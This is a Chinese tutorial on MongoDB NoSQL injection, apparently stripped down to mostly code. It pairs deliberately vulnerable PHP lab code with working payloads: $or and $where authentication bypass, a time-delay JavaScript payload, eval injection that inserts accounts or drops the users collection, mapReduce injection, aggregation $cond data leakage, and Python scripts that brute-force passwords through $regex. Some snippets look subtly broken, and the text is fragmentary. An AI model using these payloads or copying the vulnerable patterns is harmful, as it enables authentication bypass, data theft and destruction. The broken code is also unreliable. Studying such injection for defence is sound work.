从零学习 NoSQL 注入之 Mongodb

<?php# 连接数据库$manager = new MongoDBDriverManager("mongodb://localhost:27017");$uname = $_GET['username'];$pwd = $_GET['password'];# 查询语句$query = new MongoDBDriverQuery(array(    'uname' => $uname,    'pwd' => $pwd));# 执行语句$result = $manager->executeQuery('test.users', $query)->toArray();$count = count($result);if ($count > 0) {    foreach ($result as $user) {        $user = ((array)$user);        echo 'username:' . $user['uname'] . '<br>';        echo 'password:' . $user['pwd'] . '<br>';    }}else{        echo 'Not Found';}

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: 'successful MongoDB injection'

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

<?php$manager = new MongoDBDriverManager();$uname = $_GET['username'];$pwd = $_GET['password'];$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";$query = new MongoDBDriverQuery(array(    '$where' => $function));$result = $manager->executeQuery('test.users', $query)->toArray();$count = count($result);if ($count>0) {    foreach ($result as $user) {        $user=(array)$user;        echo 'username: '.$user['uname']."<br>";        echo 'password: '.$user['pwd']."<br>";    }}else{    echo 'Not Found';}

?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1

?username=1&password=admin' || '' = '

$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";

?username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();

<?php$manager = new MongoDBDriverManager();$uname = $_GET['username'];$pwd = $_GET['password'];$cmd = new MongoDBDriverCommand(['eval'=> "db.users.distinct('uname', {uname: '".$uname'})"]);echo "db.users.distinct('uname', {uname: '".$uname'})";$result = $manager->executeCommand('sec_test', $cmd)->toArray();$result =((array)$result[0])['retval'];$count = count($result);if ($count>0) {    foreach ($result as $user) {        $user=(array)$user;        echo 'username: '.$user['uname']."n";        echo 'password: '.$user['pwd']."n";    }}else{    echo 'Not Found';}?>

?username=1'});db.users.insert({"username":"ca01h","password":"1"});db.users.find({'username':'2

?username=1'});db.users.drop();db.users.find({'username':'2

function map(){ emit(param1, param2); }param1：需要分组的字段，this.字段名；param2：需要进行统计的字段，this.字段名。

function reduce(key, values){ // 统计字段处理 }  key： 指分组字段（emit的param1）对应的值；values：指需要统计的字段（emit的param2）值组成的数组。

require_once __DIR__ . "/vendor/autoload.php";$param = $_POST['param'];$collection = (new MongoDBClient)->test->stores;$map = "function() {        for (var i = 0; i < this.items.length; i++) {      emit(this.name, this.items[i].$param);    }        }";$reduce = "function(name, sum) { return Array.sum(sum); }";$opt = "{ out: 'totals' }";$results = $collection->mapReduce($map, $reduce, $out);

a);}},function(kv) { return 1; }, { out: ‘x’ });db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1

db.stores.mapReduce(function() {for (var i=0; i < this.items.length; i++) {emit(this.name, this.items[i].a);}},function(kv) { return 1; }, { out: 'x' });db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1); } },function(name, sum) {return Array.sum(sum); }, { out: 'totals' });"

?username[$eq]=ca01h&password[$regex]=.{5}

# url格式?username[$eq]=ca01h&password[$regex]=c.{4}?username[$eq]=ca01h&password[$regex]=ca.{3}?username[$eq]=ca01h&password[$regex]=ca0.{2}?username[$eq]=ca01h&password[$regex]=c.*?username[$eq]=ca01h&password[$regex]=ca.*# json格式{"username": {"$eq": "ca01h"}, "password": {"$regex": "^c" }}{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca" }}{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca0" }}

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username = 'admin'password = ''target = 'http://127.0.0.1/mongo/test.php'while True:    for c in string.printable:        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:            payload = '?username=%s&password[$regex]=^%s' % (username, password + c)            r = requests.get(target + payload)            if 'OK' in r.text:                print("Found one more char : %s" % (password+c))                password += c

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""target = 'http://127.0.0.1/mongo/test.php'headers = {'content-type': 'application/json'}while True:    for c in string.printable:        if c not in ['*','+','.','?','|']:            payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)            r = requests.post(target, data = payload, headers = headers, verify = False, allow_redirects = False)            if 'OK' in r.text or r.status_code == 302:                print("Found one more char : %s" % (password+c))                password += c

<?phprequire_once __DIR__ . "/vendor/autoload.php";function auth($username, $password) {    $collection = (new MongoDBClient('mongodb://localhost:27017/'))->test->users;    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';    $document = $collection->findOne(json_decode($raw_query));    if (isset($document) && isset($document->password)) {        return true;    }    return false;}$user = false;if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {    $user = auth($_COOKIE['username'], $_COOKIE['password']);}if (isset($_POST['username']) && isset($_POST['password'])) {    $user = auth($_POST['username'], $_POST['password']);    if ($user) {        setcookie('username', $_POST['username']);        setcookie('password', $_POST['password']);    }}?><?php if ($user == true): ?>    Welcome!    <div>        Group most common news by        <a href="?filter=$category">category</a> |        <a href="?filter=$public">publicity</a><br>    </div>    <?php        $filter = $_GET['filter'];        $collection = (new MongoDBClient('mongodb://localhost:27017/'))->test->news;        $pipeline = [            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],            ['$sort' => ['count' => -1]],            ['$limit' => 5],        ];        $filters = [            ['$project' => ['category' => $filter]]        ];        $cursor = $collection->aggregate(array_merge($filters, $pipeline));    ?>    <?php if (isset($filter)): ?>        <?php            foreach ($cursor as $category) {                    printf("%s has %d news<br>", $category['_id'], $category['count']);            }        ?>    <?php endif; ?><?php else: ?>    <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>        Invalid username or password    <?php endif; ?>    <form action='/' method="POST">        <input type="text" name="username">        <input type="password" name="password">        <input type="submit">    </form>    <h2>News</h2>    <?php        $collection = (new MongoDBClient('mongodb://localhost:27017/'))->test->news;        $cursor = $collection->find(['public' => 1]);        foreach ($cursor as $news) {            printf("%s<br>", $news['title']);        }    ?><?php endif; ?>

username=1&password=","password":{"$ne"=null}, "username":admin"

代码：var_dump(json_decode($raw_query));输出:object(stdClass)#1 (2) {  ["username"]=>  string(12) "{'$ne':null}"  ["password"]=>  string(12) "{'$ne':null}"}

db.inventory.aggregate(   [      {         $project:           {             item: 1,             discount:               {                 $cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 }               }           }      }   ])

db.news.aggregate(   [      {         $project:           {             category:               {                 $cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category }               }           }      }   ])

?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

{    "category":    {     "$cond":     {      "if":      {          "$eq": [ "$category", "flags" ]      },      "then": "$title",      "else": "$category"     }    }}

object(stdClass)#4 (1) {  ["category"]=>  object(stdClass)#3 (1) {    ["$cond"]=>    object(stdClass)#2 (3) {      ["if"]=>      object(stdClass)#1 (1) {        ["$eq"]=>        array(2) {          [0]=>          string(9) "$category"          [1]=>          string(5) "flags"        }      }      ["then"]=>      string(6) "$title"      ["else"]=>      string(9) "$category"    }  }}